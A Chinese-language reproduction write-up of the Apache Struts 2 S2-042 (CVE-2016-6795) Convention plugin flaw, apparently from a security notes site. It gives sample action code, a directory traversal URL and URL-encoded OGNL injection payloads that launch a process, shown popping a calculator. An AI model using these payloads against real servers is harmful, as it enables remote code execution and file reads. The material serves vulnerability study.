menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 160-Apache Struts chevron_right 020-(CVE-2016-6795)s2-042.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    020-(CVE-2016-6795)s2-042.md
    3.83 KB / 2021-07-17 00:01:26
        # (CVE-2016-6795)s2-042
    
    ## 一、漏洞简介
    
    在进行struts2开发时,需要在配置文件(struts.xml)中写一个个action,和对应返回结果的result(可以理解为前端返回的jsp文件)。
    但是,写的action多了,配置起来就显得特别繁琐了。struts2 Convention插件可以完全抛弃配置,也就是约定优于配置
    通过这个插件来实现目录的遍历
    
    ## 二、漏洞影响
    
    Struts 2.3.20 - Struts 2.3.31
    
    ## 三、复现过程
    
    1. 测试环境搭建
    
    * **(1)**struts版本: struts2.3.24.1
    
    * **(2)**convention插件版本: struts2-convention-plugin-2.3.24.1
    
    将`struts2-convention-plugin-2.3.24.1.jar`复制到`/WEB-INF/lib`目录下。
    
    1. 样例代码
    
    新建一个GoAction类,放在`action`包下(`convention`插件的默认约定位置)。
    
    ```java
    package action;
    
    import com.opensymphony.xwork2.ActionSupport;
    
    public class GoAction extends ActionSupport {
    
        private String go;
        private String methodToOGNL;
    
        public String execute(){
            return go;  //方法的返回值,即为resultCode
        }
    
        public String getGo() {
            return go;
        }
        public void setGo(String go) {
            this.go = go;
        }
        public String getMethodToOGNL() {
            return methodToOGNL;
        }
        public void setMethodToOGNL(String methodToOGNL) {
            this.methodToOGNL = methodToOGNL;
        }        
    }
    
    ```
    
    在`/WEB-INF/content`目录下,新建一个`admin.jsp`:
    
    ```
    <body>      Hello Admin~~ <br>
      </body> 
    
    ```
    
    1. 攻击和调试分析
    
    上述代码目的是,让`GoAction`起到一个跳转功能。
    
    当`admin用户`经过验证,需要跳转到`jsp`页面时。 直接访问`url`:`/go?go=admin`,此时的`resultCode`为`admin`。 通过`convention`插件,会在`/WEB-INF/content`找到`admin.jsp`,返回给用户。
    
    ![1.png](images/f862733576694b19bf1a5ebb883cb1f4.png)
    此时,我们就可以通过`go`参数来控制`resultCode`。
    
    **(1) 遍历目录读取文件**
    
    不防先试试跨目录。测试Payload为:
    
    ```
    http://baidu.com:8080/MyStruts2Test/go?go=../content/admin  
    
    ```
    
    这样也成功找到了`admin.jsp`。
    
    然后,在`/WEB-INF/`下新建一个`hack.jsp文件`。简单的跨目录读取成功:
    
    ![1.png](images/f328cf65292c441bad7bb27d747de11d.png)
    **(2)执行任意代码**
    
    在补丁分析时,我们看到修补了一个`Result`执行命令。于是,我们可以在`resultCode`中嵌入`ognl`代码试试~ 我们最后要找到`admin.jsp`文件,于是在路径中嵌入了如下Payload:
    
    ```
    http://www.baidu.com:8080/MyStruts2Test/go?go=%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin
    
    ```
    
    打断点分析可以看到:
    
    ![1.png](images/c9049c5f62a74f8c922a293f3d3b45a2.png)
    
    找到`admin.jsp`文件后的Result为`org.apache.struts2.dispatcher.ServletDispatcherResult`对象,并且`parse`属性为true。`location`属性中带有OGNL语句,和S2-016漏洞一样,成功运行植入的代码,弹出计算器:
    
    ![2.png](images/7c9ab4df0cd048b18733233d0d43f3d1.png)
    
    **(3)另一种控制`resultCode`方法**
    
    可能注意到了`methodToOGNL`这个变量没有用,当我们可以选择调用`action`的某个方法时,比如还有最近出现的`rest`插件或者打开`动态方法调用`:
    
    ```
    <constant name="struts.enable.DynamicMethodInvocation" value="true" />
    
    ```
    
    于是就有了如下payload:
    
    ```bash
    http://www.baidu.com:8080/MyStruts2Test/go!getMethodToOGNL?methodToOGNL=%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin
    
    ```
    
    我调用了`getMethodToOGNL`方法,返回`methodToOGNL`变量的值。就能简接控制`resultCode`了。当然成功弹出计算器。这种情况,相比前面的情况。恐怕就要普遍些了吧~
    
    **条件: 只需`action`中有个`String`变量即可。**
    
    
    
    links
    file_download